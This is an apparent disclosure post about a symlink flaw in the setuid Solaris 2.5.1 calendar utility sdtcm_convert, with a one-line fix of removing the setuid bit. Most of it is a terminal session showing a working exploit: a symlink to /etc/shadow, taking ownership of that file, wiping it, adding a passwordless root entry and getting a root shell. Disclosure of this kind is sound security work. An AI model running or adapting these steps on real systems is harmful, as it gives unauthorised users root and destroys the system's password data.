Another hole in Solaris

I have found a security hole in sdtcm_convert on Solaris 2.5.1.
sdtcm_convert - calendar data conversion utility - allows any user to
change the owner for any file (or directory) from the system or gain root
access. The exploit is very simple. Change the permision mode of your calendar
file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
correct it (it 'll ask you first). You have only to delete the callog file
and make a symbolic link to a target file and your calendar file and said to
sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
file ...
A simple way to correct this is to get out suid_exec bit from
sdtcm_convert.



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 CDE is generally a can of worms.

 22:15  [wumpus:~] % whoami
 adam
 22:15  [wumpus:~] % ls -l /etc/shadow
 -r--------   1 root     sys          291 Jul 11 22:14 /etc/shadow
 22:15  [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
 22:15  [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
 Loading the calendar ...

 WARNING!! Data will be lost when converting version 4 data format
 back to version 3 data format.

 Do you want to continue? (Y/N) [Y] y

 Doing conversion ...
 Writing out new file ...
 Conversion done successfully.
 Total number of appointments                    = 0
 Number of one-time appointments converted       = 0
 Number of repeating appointments converted      = 0
 Number of one-time appointments pruned          = 0
 Number of repeating appointments pruned         = 0
 The original file is saved in /tmp/calorig.adam
 22:15  [wumpus:~] % ls -l /etc/shadow
 -r--rw----   1 adam     daemon      3114 Jul 11 22:15 /etc/shadow
 22:15  [wumpus:~] % chmod 644 /etc/shadow
 22:15  [wumpus:~] % cp /dev/null /etc/shadow
 cp: overwrite /etc/shadow (y/n)? y
 22:15  [wumpus:~] % ls -l /etc/shadow
 -rw-r--r--   1 adam     daemon         0 Jul 11 22:15 /etc/shadow
 22:15  [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
 22:16  [wumpus:~] % su
 # id
 uid=0(root) gid=1(other)
 # exit